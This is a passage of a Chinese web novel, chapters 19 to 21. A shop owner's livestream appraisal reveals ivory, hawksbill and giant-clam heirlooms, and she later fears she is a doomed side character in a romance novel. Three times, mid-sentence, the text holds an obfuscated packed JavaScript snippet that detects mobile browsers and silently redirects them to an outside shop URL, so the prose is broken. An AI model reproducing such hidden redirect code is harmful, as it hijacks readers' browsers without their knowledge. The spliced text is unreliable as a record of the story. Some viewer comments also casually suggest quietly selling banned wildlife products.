－真的好多啊，全是串？看起来都好漂亮。 －我看出来一个绿松石，其他的没看清。 －笑死，手上拿的是蜜蜡？这品相，不值钱。 “看来大家学得很认真，这串确实是蜜蜡，视频里看是鸡油黄，颜色偏浓郁，从价格上来说呢，确实是不太贵的，目前克价200左右。” 博主给出正确答案，萧妧妧摩挲手里的黄色珠串，神色失望。 “没关系，我还有别的。” 她挑拣一番，找出颜色丰富的剔透珠串，用同样方法展示给直播间的网友和博主看。 “这是碧玺，你手上这串颜色跨度很大，但净度属于一般，克价不会过千。” 萧妧妧懂了，又是一个便宜货。 再看评论区和弹幕，各种打赌的言论一条条刷过。 －笑死，小姐姐的太奶不会留了一堆便宜货吧。 －别急啊，我赌有好东西。 －那我赌没有，全是手串，看起来都不太行。 －再便宜那也是克价将近1000，一串小万是有的。 －小姐姐快拿那串绿的，一定很开门。 鉴定前，萧妧妧同样编了一套胡话应对，声称这些都是家里太奶传下的物价。 萧妧妧说了一句稍等，依言找来网友提到的绿色像水晶一样的珠串。 “这串还是碧玺，绿碧玺，视频里看不出产地，不过颜色很清透、清新，但是不够绿，直径看上去不到1厘米吧？价格不会太高。” “现在这串是白玉，直径多少知道吗？” “红色这串是朱砂……” “这串是黑曜石……” 有博主讲解，再有评论区和弹幕帮忙补充目前市价信息，萧妧妧听到这里心都凉了。 确实和网友说的差不多，克价看着都挺漂亮，但一串也就值个小一、小二，不会再多。 不是她看不上这些小钱，实在是鉴定前预期过高，总想着古代的珠宝那么精致，肯定不会便宜，而且还是申明月送来的。 那可是公主唉，她的东西能有差的吗？ 萧妧妧这会心里有落差，干脆抬起手机，对准平铺的布垫。 “等等！白色的那几串先拿起来给我看看。” 19. 第 19 章 博主语气稍急，萧妧妧闻言暗自生出期待，听话地挑出仅有的四条白色手串。 －等等，这不是玉吧？像骨。 －没见过这玩意，傅教授快说说这是什么吧。 －是不是白蜜蜡啊？ －我看着像白色塑料珠子，下去沉淀吧。 －救命！小姐姐你早拿出来这好东西啊，差点看不下去。 萧妧妧瞄一眼屏幕，最新的弹幕抓住了她的注意力，疑惑道：“这是好东西？” 她的看法和其中一位网友差不多，有点分量，肯定不会是塑料什么的，更像烧出来的瓷珠子。 博主没解释，一会要求萧妧妧拿近些，一会又要调整虚焦镜头，折腾了一番，评论区一群吉吉国王就差求着博主说话了。 片刻工夫，博主终于出声，语气比前面要认真许多。 “没有看错的话，这串是象牙。” 象牙！ 萧妧妧即便不玩文玩也知道象牙意味着什么。 她重复问道：“傅教授说的是正经大象的那个象牙？” “对，视频里看，确实是象牙，确定是祖上传的吧？”博主停顿片刻，又问了一句。 萧妧妧赶紧应声，“对对对，是我太奶留给我的，以为不值钱，最近打算要二胎，想着能不能拿去变现。” －卧槽卧槽，是象牙啊，好刑。 －开眼了，原来这就是象牙。 －已经不是钱的事了，按年算。 －别卖，千万别卖。 －刑什么刑，年什么年，别乱说啊，这是小姐姐祖上传下来的。 萧妧妧暗暗庆幸，幸好她说的是祖上传下来，但凡换成最近买的，牢底坐穿！ 萧妧妧不等博主回答，赶紧收起手上的，换来另外三条白色手串。 评论区再次热闹起来。 －笑死，剩下三串白的小姐姐都不敢摆出来了吧。 －总不能还是象牙吧？ －怎么不能是车车呢？这也挺刑的。 －卧槽，我真的觉得是车车哎。 看到评论区的萧妧妧又懵了，什么车车？ “车车是什么？” 评论区和弹幕飘出一堆言简意赅的解释，没等她多看两眼反应一会，博主也在这时候讲解。 “车车就是砗磲，和象牙一样，要坐牢的。” 萧妧妧倒吸一口气，“……我得坐多少年牢啊？” 博主轻笑一声，道：“我来说一下吧，第一串是象牙没错，从左往右的第二、三串同样是象牙，并且每颗珠子有非常精细的雕刻，也就是所谓的牙雕，是一项传统古老的艺术……” 大概是直播间第一次出现象牙制品，博主抓紧机会给直播间网友科普，萧妧妧配合地摆弄珠串，方便大家看细节。 －天哪，牙雕真的好震撼。 －妈呀，这要是能卖出去，得值多少钱啊。 －卖不出去，别想。 －卖不出去，别想。 －其实可以卖，悄悄的。 “现在说说第四条，刚才很多人都猜对了，是砗磲，价格我就不说了。” －挺刑啊。 －有没有人说说，如果能卖的话，大概值多少？ －傻瓜，就是不能卖才值钱啊。 萧妧妧都不敢吱声了，博主鉴定完毕，赶紧把它们扔进匣子里。 －等等，那个匣子你们看到了吗？ －是螺钿镶嵌吧？ －看不清，灯光有点黄，看起来更像是骨木？ 萧妧妧专注调整镜头，没注意到弹幕，她尽量把所有珠串都收进屏幕里，方便博主直接从里面挑出值钱物件。 博主还挺体贴，知道她的诉求后，建议她挪动手机依次从珠串上方缓慢划过，而后他定格画面，依次给她报名字。 “绿松石、碧玺、水晶、猫眼、珍珠、月长石、珍珠……平安扣的玉不错，去鉴定一下，五万没问题。” 博主一个一个报名字，评论区好心人一个一个报克价，凡是博主没有要求拿起来仔细看的，萧妧妧一概归类为普通的便宜货，留着自己戴着玩。 一万两万的手串戴着也挺好看。 前面两排的珠串看完，萧妧妧都觉得不会有什么好东西了，博主忽然出声。 “右下角是不是还有一个？拿出来看看。” 萧妧妧才注意到，有个黑不溜秋的手串让她的衬衫衣摆遮住一半。 她赶紧把它拿出来，摆在手心里，置于灯光下。 “拿近点，翻过来看看。” “有工具吗？测一下直径。” “把珠子扒开，让我看看串绳子的孔，对，扒开，拿到镜头前。” 这是继牙雕手串之后，博主第二次要求仔细看一个手串，萧妧妧心情激荡。 －我去我去，这个我知道 －是帽帽！我在别的博主那里见过。 －又刑了，姐？ －卧槽，我也知道，这玩意，很行，也很刑！ 萧妧妧更迷糊了，对他们行业黑话是一点听不懂。 她问：“帽帽是什么？” 傅教授没说话，直接手机搜索图片，怼到直播镜头前。 “这是…乌龟？不，海龟！”萧妧妧笃定开口。 －笑死，确实是海龟。 －没毛病。 －虽然是帽帽，但是，啊啊啊啊密集恐惧症要犯了。 萧妧妧又低头瞅了一眼手里的串，油亮油亮，一半是不通透的黑，一小半有点描述不出来的黄。 直径大约1.5厘米的串，戴在手上有点硌，但看着确实贵贵的。 博主笑着解释，“是龟没错，大家说的帽帽，其实是玳瑁，也叫海中黄金。” “玳瑁！”听到这里，萧妧妧低呼出声。 她只是记不清玳瑁长什么样，不代表对玳瑁一点不了解。 什么玳瑁护甲，玳瑁耳坠，她在小说里看过不少，出镜率极高。 萧妧妧抓狂了，值钱是真值钱，可是不能出手，值钱又有什么用，还不如几百克价的碧玺呢。 －看得出来确实是祖上传下来的，放在古代都算值钱物件，可惜时代不一样了。 －那几串珍珠真的很漂亮，浑圆莹润，看起来不像是有年代的。 －漂亮没用啊，这两串不值钱的。 －其实碧玺、水晶什么的，以前真的很值钱，现在嘛… －别乱说，碧玺现在也有上几十万的，绿松石、蜜蜡克价过千的大把，这还不值钱？你们是不是对钱没概念了？ 弹幕又争执起来，萧妧妧已经没心情去看。 或许这些玩意在申明月那个朝代很值钱，可放在她这里……还不够。 萧妧妧忽然想到什么，脑海中犹如惊雷炸响。 对哦，她反向操作，拿现代便宜、量产的，但在古代贵得离谱的东西倒卖，那不是赚疯了？ “旁边的匣子需要帮你看看吗？匣子挺有意思的。” 没等萧妧妧仔细深究，博主恰好出声打断了她的思绪。 萧妧妧往旁边一瞄，礼盒不算匣子，就是一普通包装盒，这个她还是看得明白的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491444|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于是一把抱过龙傲天给的黄色匣子，和申明月送来的深色匣子。 “是这两件吗？它们有什么不对？”萧妧妧问。 －终于看到匣子了，刚刚一直盯着看，还以为傅教授没看见。 －匣子怎么了？ －我喜欢，好漂亮的匣子啊。 －啊啊啊啊，镶嵌花草纹的匣子好漂亮，但是木料怎么看起来灰扑扑的。 萧妧妧看到评论区，多看了一眼灰扑扑的匣子。 确实很好看，匣子的正面一层嵌满米白色的花草纹，绿松石点缀其间。 她挪动手机，对着匣子一寸寸展示。 “我看清楚了，没错的话，匣子用的木料是红木，上面镶嵌的是牛骨，绿色的刚才讲过，是绿松石。” 萧妧妧的知识面还没发展到镶嵌技艺，傻乎乎问：“很值钱吗？” －能不能看出来是哪个朝代的啊？ －要是早几百年，这是文物吧？ －小姐姐帮我问了，我只想知道到底值多少钱。 朝代？萧妧妧不抱希望了，生产这玩意的朝代和他们不是一个位面，抛开历史因素，只有红木和镶嵌技艺比较值钱。 “看不出朝代，但是确实很有年头了，当下骨木镶嵌技艺传承的非常好，市面上能找到不少类似物件，所以价格方面，可能和大家想象的有些出入，不便宜，但也不会贵到离谱。” 明白了，还是不够值钱的意思。 不是萧妧妧太飘，但凡经历过六位数的进账，几千几万无法激起心中波澜。 “没关系，还有另一个匣子，这件应该是个惊喜。” 博主适时出声，不仅萧妧妧打起精神，连围观直播的网友们跟着兴奋起来。 －都别出声，让我猜猜是什么。 －这么漂亮，肯定是刨花板，扔了吧小姐姐，扔之前告诉我地址 －算崩脸，呸！ －等等等等，傅教授是不是教过啊，我记得傅教授之前拿他的收藏品给我们看，就有类似的感觉。 －兄弟，指个路，我去看看是什么。 “介意打开盒子吗？我想确认一下内部。” “灯光打偏一点，反光了。” “好……保持，里面是金子吗？金子我看不了。” 萧妧妧立即接话，“这个也是太奶留给我的，谢谢傅教授，金锭不需要鉴定。” 说话工夫，评论区又刷屏了。 －卧槽，小姐姐你要不要包养我？ －好多金子，金元宝好可爱啊。 －我看到小黄鱼了，和我爷爷留下来的差不多。 －救命，快告诉这都是假的。 －小姐姐这家底，应该是真的吧？ －如果是真的，估计有好几千克吧？ 和砗磲、象牙、玳瑁比，金锭金条实在不起眼，萧妧妧便没有特意调镜头，哪知道网友们更喜欢聊金子，弹幕就没停下过。 “我看完了，这件确实是个惊喜，不少人可能也看出来了，制作匣子用的木料是……” 语调拖长的几秒，评论区和弹幕纷纷配合，打出正确答案。 -很明显了，提示一下，水波纹。 -再提示，很值钱。 -你们看它金光闪闪的，像不像那个什么金丝。 -金、金丝猴？ -…… 一堆谜语人疯狂刷屏，萧妧妧仍旧云里雾里。 只一点没想到，看起来朴实不起眼的东西反倒很值钱。 期待值直接拉满，萧妧妧不由屏息凝神，等待揭秘。 20. 第 20 章 “答对了，是金丝楠木。” 博主淡淡的声音响起，萧妧妧诧异地瞪大眼睛，抱起匣子仔细打量。 这一场直播几乎是在她知识盲区里横冲直撞，听说过金丝楠木，长什么样真不知道，值多少钱就更没概念。 没等她看评论区好心网友的科普，博主先一步为她解答。 “灯光右边移一点，大家可以仔细看看，这是水波纹，还是有点深度的水波纹，凡是带了水波纹的，颜色都会有变化，非常漂亮。 视频清晰度不高，可能会有色差，我这里看着是帝王黄的金丝楠，是比较值钱的一种。 当然，最好还是拿到鉴定证书，有证书价值会更高。 匣子竖起来…大家继续看，匣子四面花纹是一致的，可以断定出自同一块料，别看匣子光秃秃的，没有螺钿没有宝石镶嵌，其实更值钱。” －难怪，比我家里的好看，还闪亮。 －这不得大几百万？ －穷笑了，小姐姐就不能无缘无故包养我吗？ －帝王黄，嚯！ －啊啊啊啊真的好漂亮，快告诉多少钱，让我死心。 －不好说，之前有个帝王黄的板子，卖出去160多万，这是一整个匣子，你们自己算吧。 弹幕天花乱坠，评论区一堆网友嗷嗷叫，博主以金丝楠木为中心，讲到了历史。 萧妧妧已经没心思听，满脑子回荡着值钱两个字。 现在让她单膝下跪，冲着龙傲天喊一句“你是我的神”也不是不行。 是真的神，财神，龙傲天就是她的活财神啊！ 好险，差点干出买椟还珠的蠢事。 果然，以后经手的物件甭管大小，还是要请识货的人掌掌眼。 “谢谢傅教授，我家里还有不少，我整理整理，下次咱们再连线可以吗？” 现在是没有，可不保证以后没有，先做个铺垫，连借口都省去了。 “可以。” 话音落下，系统通知到了，【不问】添加她为好友。 不问就是傅教授的艺名。 萧妧妧更高兴了，不仅添加好友，还关注了博主。 为了让博主留下深刻印象，她把头像换成金丝楠木。 没多久，陆续有十几个人关注了她，添加好友的大约七八个。 再一刷新，私聊多了三十多条。 撇去说骚话求包养的，倒是有那么几条正经消息。 正经是正经，但她不敢回复啊，个个追问她卖不卖牙雕、玳瑁、砗磲。 萧妧妧可记着评论区的科普呢，直接回复不卖。 要卖也不能在网上找啊，这玩意风险大，古玩水又深，一窍不通的她不适合做任何决定。 萧妧妧有耐心等，大不了转手卖给龙傲天呗。 真诚感谢博主一番，萧妧妧揣着激荡的心情断掉连线。 哪知道没几秒，博主发来消息，除了系统自动发送的打招呼，剩下的是退掉打赏的通知。 萧妧妧瞥了两眼，感叹一会博主人真好便放下。 金锭金条随意扔在匣子里，黄绸布皱巴巴，配不上金丝楠的价格。 萧妧妧重新整理一番，最贵重的金丝楠匣子独占空间一格，红木匣仍旧放些不值钱的手串，和翡翠耳坠一起摆在她的首饰柜里。 至于很刑的那几串，萧妧妧一串一串包好，码放在礼盒中，空出的地方塞金锭金条，然后全部塞空间。 它们太贵重了，放在保险箱她不能安心。 金貔貅寓意好，招财进宝，萧妧妧没舍得藏起来，决定带回家摆在房间里，多多为她招财。 简单整理一下，房间恢复整洁，时间来到下午四点。 萧妧妧总算有时间瘫着了，一躺下，肚子咕噜噜叫。 上午在外面奔波，热得没胃口，中午便没吃，这会歇下来，饿得难以忍受。 开小卖部的好处在这一刻体现的淋漓尽致，她奔向冷藏柜，选了自己爱吃的便当加热。 浅浅吃了两口垫垫肚子，张芸女士发来消息，他们已经到目的地，嘱咐她别忘记给家里的宠物喂食，萧妧妧回复消息，又扒拉两口草草结束。 时间差不多，萧妧妧开始挑选今天的晚饭。 要庆祝云昭昭找到工作，不能自己做菜应付了事，得点一桌大餐。 外卖软件挑挑拣拣，没等她选好晚餐，后门位置突然传出“啪”的一声。 萧妧妧手一抖，差点摔了手机。 抬头看，苏娇娇气喘吁吁，扶着木门往门外位置张望。 这是……遇到麻烦了？ 苏娇娇一身蓝底白花的麻布上衣，裤子是灰扑扑的藏青色，脑袋上顶着同色的头巾，臂弯挎着竹篮。 脸上抹了东西，脏兮兮，光洁的下巴位置多了一颗豆子大小的黑痣，要不是穿着打扮有独特性，萧妧妧恐怕真认不出。 萧妧妧没打扰她，静静等着她，顺带下单外卖送去家里。 不出三分钟，苏娇娇一脸凝重地走进小卖部。 萧妧妧看了又看，没忍住心中好奇，“苏女士，是不是遇上麻烦了？” 苏娇娇恍然回神，望着萧妧妧，语气恳切：“萧老板，你的店铺可以借我躲躲吗？” 见她面露为难，想解释又不好说什么的样子，萧妧妧体贴的没有问下去。 规矩她懂，保密嘛。 “要待多久都行，喏，院子后面有一间客房，你尽管住。” 外面天色已晚，还不知道苏娇娇要躲多久，索性把客房让给她。 萧妧妧晚上是要回家住的，于是先拉着苏娇娇去客房，教她怎么用这里的电器。 苏娇娇原本神思不属，愣愣的听了两句后忍不住发问。 等萧妧妧一一解释后，她拿起遥控器，一会开关空调，一会打开电视机，像个好奇心重的孩子。 萧妧妧刚好把老年机找出来递去，“这是我们这里的通讯工具，晚上我回家住，院子只有你，有什么事按下1键，这是紧急联络，自动打给我，其他号码不可以哦。” 苏娇娇小心翼翼地接过手机，如萧妧妧所言按下1。 果然，屏幕上显示拨号中，苏娇娇不知道要怎么办，抬头去看萧妧妧。 萧妧妧掏出手机，屏幕展示给她看。 她当着苏娇娇的面按下接通，手机举到耳边，走出房间。 苏娇娇学着她的样子，手机贴耳边，声音竟然不受她移动的影响，清晰传来。 苏娇娇瞪大眼睛，“好神奇，它是怎么做到不需要电话线通话的？” 萧妧妧刚要为她科普，苏娇娇却是摸着手机，眼底的向往和欣喜掩藏不住。 “萧老板，以后的我们，都会用上这么神奇的东西？” 萧妧妧重重点头，“对，我们国家的绝大多数人都能享受到高科技带来的便利，这一切，离不开苏女士、离不开千千万万正在奋斗的同志们。” 苏娇娇神情怔愣，看着萧妧妧欲言又止。 她从未说过自己在做什么，怎么萧老板了如指掌的样子…… 苏娇娇心正乱着，便没顾得上刨根问底，紧攥手机，泪光闪现。 看她陷入自己的思绪，情绪忽高忽低，萧妧妧略等了一会，等她平静下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491445|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，询问她吃什么，她来点外卖。 苏娇娇看她抱着刚才通话用的手机点点戳戳，没多久，一份冒着热气的食物送进店铺里。 “我也可以……点到食物吗？” 苏娇娇惊讶的半张着嘴巴，忙低头胡乱按快捷键，不明所以。 萧妧妧笑着说：“不可以，只有我的智能机有这个功能。” 苏娇娇失望，眸光暗淡了一瞬。 萧妧妧反思，难道是她太抠门了？要不给苏娇娇整一个智能机冲浪？ 苏娇娇：“萧老板叫我娇娇就可以，谢谢萧老板愿意收留我。” 萧妧妧摆摆手，不以为意，“我叫你娇娇，你叫我妧妧，不过是住一段时间，不算事。” “对了，你要的磺胺类药物，我开了三盒，现在给你吧。” 说着，萧妧妧把打包好的小包裹递给她。 苏娇娇惊喜不已，感叹萧妧妧年纪轻轻本事不小，磺胺药说有就有。 莫非也是用手机点的？ 萧妧妧摇头，“手机可点不了，需要去医院开。” 苏娇娇闻言，立刻去掏竹篮里的手袋。 “麻烦妧妧了，这些钱你一定要收下。” 原是带出来打点用的，没想到消息走漏，她被人堵在深夜的码头，进出不能。 不是第一次和苏娇娇交易了，萧妧妧姑且能说一句了解她，大大方方地收下四根金条，一起扔进礼盒中存放。 “你趁热吃，晚上睡觉记得锁门，后门我也会锁起来……” 萧妧妧絮絮叨叨的嘱咐她，一副不放心的样子，苏娇娇听着听着漾起笑容，双手托腮看她。 萧妧妧被她看的脸红，挠着头回望过去才发现，哪怕是笑意吟吟，苏娇娇眉宇间仍有挥之不去的忧愁和凝重。 她一定是遇上大麻烦了……萧妧妧的心跟着揪起来，偏偏还不能问。 吃完饭，又教苏娇娇如何使用浴室马桶等等物品，准备好洗漱用品，时间来到6点。 云昭昭已经到家，外卖早已送到，等来等去没等到人，急得打来电话。 萧妧妧匆匆回复消息，指着小卖部所有吃的喝的，大气挥手，“晚上要是饿了随便吃，我请客。” 苏娇娇攥着老人机，木桩子似的守在木门边，紧咬嘴唇观望她的世界。 听到萧妧妧的话，她偏过头笑了笑，第N次真诚道谢。 “谢谢你，妧妧。” 萧妧妧想了想，还是说出心里话，“如果真遇上大麻烦，不如跟我说说，说不定我能帮上忙呢。” 苏娇娇一愣，思绪不禁偏移，好一会，她转过身直视萧妧妧。 “嗯，我记得了，如果……我会的。” 萧妧妧暗暗祈祷，希望苏娇娇的麻烦尽快解决吧。 《谍影》这本书她看的时候还在连载，多是从主角视角出发，配角发生了什么，她是一点没看到。 要不是苏娇娇讨喜，评论区有读者鸣不平，萧妧妧大约是连她的结局都不知道的。 可现在知道了也没用，不知道过程不知道剧情，白搭。 又是提前闭店的一天，和苏娇娇挥挥手，萧妧妧关上大门回到月牙巷深处。 还没到家门口，身形颀长的男人牵着手抓糖葫芦的小女孩从春山居出来。 萧妧妧疑惑了一瞬，一大一小已经走近，她陡然停下脚步。 等等，怎么看起来那么像许经理口中的二太子，他的顶头祖宗？ 大门口边擦身而过时，萧妧妧借着灯光打量了一会，确实没认错。 他怎么会出现在春山居，手里还牵了个孩子？ 21. 第 21 章 一大一小的身影走远，拐进前面改换门庭的231号。 萧妧妧刚回过神，又愣住了。 方爷爷的院子不会是卖给他了吧？新邻居？ 接二连三的巧合，萧妧妧只能感叹一句人生如戏，摇摇头回家。 迈进门，没等她喊出声，抬眼看到云昭昭搅着双手，垂头耷脑地站在屋檐下。 而对面，是比云昭昭高出几个脑袋，一侧身便能完全笼罩她身影的季先生。 “昭昭？” 萧妧妧绝对不会看错，两人之间肯定有问题。 具体是什么问题，萧妧妧看不出来，黝黑眼珠狐疑的在两人身上打转。 云昭昭顶着红扑扑的脸颊小跑过来，抱住萧妧妧胳膊往客厅里带。 “季先生找我问路，妧妧姐是不是饿了？外卖送来好一会了，我去热热吧。” 云昭昭看着纤瘦，力气却不小，几乎是拽着她离开。 看她一副逃离案发现场的急迫样，更可疑了。 想到云昭昭性子腼腆，又刚经历过家里的糟糕事，萧妧妧只好按捺住。 两人走到大厅门口，迈上台阶，院门咚咚咚敲响。 “云老师，你的包。” 萧妧妧转身看去，离开没多久的男人折返回来，他站在院子门口，一手插兜，一手拎着帆布袋子，目光直勾勾盯着萧妧妧……身边的云昭昭。 奇怪，这熟悉的感觉到底是怎么回事……萧妧妧忍不住挠头。 她又去看季先生，差不多的插兜姿势，目光根本没从云昭昭身上挪开过。 萧妧妧感觉现在的自己和隐形人没区别。 云昭昭红着脸跑过去，双手接过帆布袋，看到里面完好的录取通知书，又红着脸和门口的男人道谢。 云昭昭想起什么，拉过萧妧妧结结巴巴的介绍，“黎先生，这位是萧妧妧，是春山居的负责人，我现在住妧妧姐家。” “妧妧姐，这位是黎、黎行墨，是我教的孩子的舅舅。” 萧妧妧语调古怪的重复：“李兴墨？” 黎行墨收回目光，微微颔首和萧妧妧打招呼，“黎明的黎，行动的行，笔墨的墨，就住在231号，以后都是邻居了，多多关照。” 弄清楚是哪三个字，萧妧妧脑袋轰一下炸开。 云昭昭、黎行墨……是不是巧得过分了？ 萧妧妧发呆的时候，两人又聊上了，她说声抱歉，踉踉跄跄回到大厅找住客登记薄。 31岁，京城人，姓季，名随！ 浑身汗毛顷刻间竖立，心脏咚咚两下，犹如擂鼓。 云昭昭、黎行墨、季随，再加上她，萧妧妧，正好能凑一本《如何同时攻下三个野男人》 哦，对了，三个野男人，还差一支股没出场。 萧妧妧这会连名字都想不起来，实在太久远了，这可是她上中学时躲被窝看的小说呢。 别看名字土得她说不出口，上学时她可是追得昏天暗地，小脸通黄。 可惜看到一半被老妈丢进垃圾桶，这本限制级买股文后面有哪些剧情，她说不出个一二三。 结局倒是知道一点，三个男主排队表白，坐等女主翻牌子，是开放式结局。 别说什么只是撞名的巧合，一次撞两次撞，三次四次再撞，连角色身份背景设定都一样，那就绝不可能是巧合。 同样是贫困山区飞出来的坚韧小白花，同样在资助人家里勤工俭学，同样考取A大，同样和资助人家的住客、邻居发生爱的摩擦…… 由不得她不多想，尤其在她获得交易系统，链接各个位面的角色后。 救命！她只是口嗨玩梗，没想过真的要变成女配啊。 再看院中相对而立的三人，萧妧妧精致漂亮的五官直接皱成一团，戴上痛苦面具。 难怪会产生莫名其妙的熟悉感，这画面，刚好符合故事书里男女主们初遇的剧情。 甚至云昭昭搬来的第一天，已经和季随发生了超越关系的触碰。 越回想，那天没放在心上的细节越是可疑。 萧妧妧别提多难受了，既想围观剧情嗑CP，又暗恨自己拎不清，都什么时候了还要吃瓜。 瞄一眼门外的三人，萧妧妧苦恼叹气。 行行行，你们是主角，只有她是小卡拉米配角呗？太惨了吧…… 小配角萧妧妧抱紧脑袋，冥思苦想。 糟了，剧情是什么来着，她得想办法避免走剧情。 等等，这书有剧情吗？ 连标点符号都自带颜色的故事里，各种限制级情节轮番上演，女配出场除了增加刺激性还有什么用？ 剧情想不起来多少，但该死的，萧妧妧靠着回忆记起了男主们的尺寸…… 萧妧妧懊恼捂脸，现在可不是想废料的时候。 书里的反派女配哪个不是非死即残还破产的下场？ 因为和配角撞名，萧妧妧特意去看了一眼女配的结局，章节标题上明晃晃的写着“萧妧妧之死”几个字。 萧妧妧两眼失焦，蹲在地上陷入自闭。 “妧妧姐你怎么了？是不是不舒服？脸都黑了。” 云昭昭一进门，看到一脸生无可恋的萧妧妧，吓一跳。 萧妧妧叹气，黑的何止是脸啊，还有眼前和印堂。 “没事……”总不能说她知道自己会有血光之灾吧。 含糊应了一声，抬头，萧妧妧目光复杂地盯着走进来的身影。 云昭昭的脸蛋红扑扑，眼眸水润，唇角湿润。 不怪萧妧妧思想不健康，女配像润滑油，是男女主play的一环，每次出场总伴随着男女主激烈地摩.擦，还有必不可少的一句“你也不想被人发现吧？”。 作为旁观者，萧妧妧会咬住被角大喊刺激，作为故事的一员，她只想裹紧被子闷死自己算了。 收敛思绪，萧妧妧有气无力地摆摆手。 还是担心担心自己吧，她一个女配，哪轮得着她为女主操心啊。 云昭昭不放心，扶她去沙发上坐下，一会摸萧妧妧脑门，一会又去摸她脉搏。 萧妧妧让她闹得一点情绪都没了，长叹一口气，问：“昭昭，你觉得我讨人嫌吗？” 云昭昭茫然眨眼，“啊？妧妧姐你在说什么呢，你怎么会讨人嫌？是不是谁说你坏话了？你告诉我，我去帮你骂回去，我吵架很厉害的。” 她义愤填膺，撸起袖子要去干架的姿态。 谁敢说妧妧姐不好，谁就是她云昭昭的敌人！ 萧妧妧心里熨帖，不放心的又问：“那你觉得我势利眼吗？” 云昭昭不知道萧妧妧怎么了，突然说好多奇怪话。 她抱紧萧妧妧的胳膊，脑袋靠在萧妧妧肩头，语气认真又恳切。 “妧妧姐是我长这么大遇见过最好的人，没有缺点！背后说妧妧姐坏话的人，他们都是嫉妒！是求之不得的破防！” 萧妧妧并没有被安慰到，拧眉，“那你觉得我自恋、自私、嫉妒心强、爱攀比、低俗、轻浮、喜欢倒贴、喜欢抢别人的男人、败家……吗？” 描写女配的笔墨并不多，以上是她能从文字中感受到的亿点点毛病。 当然，长相艳丽娇媚等形容，在她看来是优点，不能算进缺点行列。 云昭昭惊讶极了，不可置信地望着萧妧妧。 “妧妧姐你在说什么呢？你怎么能这么想？你告诉我到底是谁说的这些话，是不是妧妧姐的男朋友？他在PUA你！” 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491446|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭昭的语气和态度让萧妧妧安心了。 不是萧妧妧自夸，她也觉得这些毛病不太符合她对自我的认识。 没犯女配的臭毛病，没走女配的烂剧情，还会打出女配的悲惨结局吗？ 萧妧妧谈兴不佳，揭过话题，埋头扒饭。 云昭昭欲言又止，止又欲言，反反复复，最终什么都没说，小心偷觑萧妧妧脸色。 萧妧妧食不知味地咀嚼着丰盛晚餐，理所当然的，这一晚她愁得几乎没睡着。 虽然日子不够富足，但也算安稳，好端端变成别人故事里的丑角、笑料，甚至惨惨的，她多冤啊？ 第二天，她盯着黑眼圈从床上爬起，赶在天蒙蒙亮的时候去小卖部开门营业。 路过网红咖啡店，点了一杯苦唧唧的冰美式提神，顺带给苏娇娇带一份早饭。 抱着满怀的东西进店，时间才走到8点，意外的，苏娇娇竟然坐在小圆桌前，一手撑着脑袋，偏向后门位置。 走近一些，萧妧妧看到她脑袋一点一点，裹在头上的布巾已经滑落在膝上。 这是一宿没睡？ 萧妧妧嘀咕，这得是多大的麻烦啊。 看她睡得香，萧妧妧猜她刚睡着没多久，不好意思推醒她，于是拿来披肩裹住肩膀。 她静悄悄的拉闸，开灯，做好营业准备，烫手的早餐刚好适合下肚。 萧妧妧把自己那份煎饼吃了，又喝下一杯咖啡，顿时精神抖擞。 关于自己是女配这件事，找不到明确解决办法前，她决定先逃避。 “咚！” 萧妧妧刚整理好情绪，小卖部里传来沉闷的碰撞声。 偏头一看，是睡得迷迷糊糊的苏娇娇磕着脑袋了，这会撅着嘴揉脑门呢。 等她看到身上的披肩，恍然意识到周遭的变化。 “萧老板……” 萧妧妧推去煎饼，“没问你爱吃什么，我随便买的，是我们这条街最红火的煎饼摊，应该不会太难吃。” 苏娇娇抹了一把脸，看了看假门后面，叹气，起身去洗漱。 再回来，两人一起蹲在假门边上。 苏娇娇一边小口小口咬煎饼，一边观察外面巡逻的队伍，一边愁眉苦脸。 萧妧妧纯粹是没事干，加上心里不得劲，陪着她蹲，面壁思过。 两人沉默无言蹲了一阵，萧妧妧先扛不住。 “娇娇，你那边到底发生什么了？你简单跟我说说，我帮你想办法啊。” 看她愁容满面，越来越心焦，萧妧妧憋不住问出口。 苏娇娇捧着半块煎饼，仰头，面露迟疑。 或许，萧老板真能有办法？ “你不用说前因后果，只告诉我你现在遇到的难题，这不违反规矩吧？” 萧妧妧是懂钻空子的，苏娇娇闻言，眼眸闪过清光。 “事情是这样……” 她凑到萧妧妧耳边，仔细讲述眼下急待解决的状况。 萧妧妧表情变了又变，“所以，你现在又被人围了？人特别多？” 苏娇娇点头，眉宇间带上一抹忧愁，“是，如果再不把他们引走，到时候……” 到时候不只是任务失败那么简单，接头的同志会遭遇不测，云城站会受到无法想象的影响，损失不可估量。 